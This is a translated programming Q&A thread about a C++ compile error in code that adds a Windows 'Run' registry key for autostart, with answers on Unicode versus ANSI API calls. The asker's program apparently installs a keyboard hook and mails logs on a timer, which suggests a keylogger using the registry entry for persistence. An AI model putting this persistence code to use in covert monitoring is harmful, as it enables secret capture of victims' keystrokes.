2017-03-18 11 views
1

いくつかのC++コードに問題があります。C++レジストリキーの問題

もっと正確に言えば、Windows起動時に自動起動用のレジストリキーを登録するプログラムが実行されているときです。
残りのコードは別のヘッダーに配置されていますので、皆さんは必要ないと思います。

#include <iostream> 
#include <windows.h> 
#include "KeybHook.h" 
using namespace std; 

int main() 
{ 
    MSG Msg; 
    IO::MkDir (IO::GetOurPath (true)); 
    InstalHook(); 
    while (GetMessage (&Msg, NULL, 0, 0)) 
     { 
      TranslateMessage(&Msg); 
      DispatchMessage(&Msg); 
     } 
    MailTimer.Stop(); 
    std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe"; 
    HKEY hkey = NULL; 
    LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key 
    LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t)); 
    return 0; 
} 

は、と私はあなたのWindowsのAPIのANSIバージョンを使用している

main.cpp||In function 'int main()':| 
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'| 
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'| 
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===| 
+0

'string'の代わりに' wstring'を使う特別な理由はありますか? – Arash

+2

@Arash WindowsはUTF-16を使用しているので、 'wstring'はUnicodeのサポート方法です。 – MrEricSir

+0

エラーメッセージをお読みになりましたか?問題を説明しませんでしたか? –

答えて

3

をコンパイル時にこのエラーが出るが、あなたの文字列はUnicodeをしています。

あなたは#define UNICODE#define _UNICODEである必要があります(どちらもWindows API用であり、1つはCランタイム用です)。

Visual Studioプロジェクトでビルドする場合は、プロジェクト設定の[一般/文字セット]で[Unicode文字セットを使用する]を有効にしてコードを編集せずに定義できます。

+4

また、 'RegSetValueExW'と' RegCreateKeyW'を明示的に使用してください。 –

+0

さて、このように動作していますが、残りのコードに影響します。UNICODEを使わずに登録する方法はありますか?std :: wstringの代わりにstd :: stringを使用しますか? –

+0

@GrigorasAndrei:はい、あなたの文字列から 'L 'を導く文字列はすべて省略してください。それがUnicode文字列に変換されます。 – RichieHindle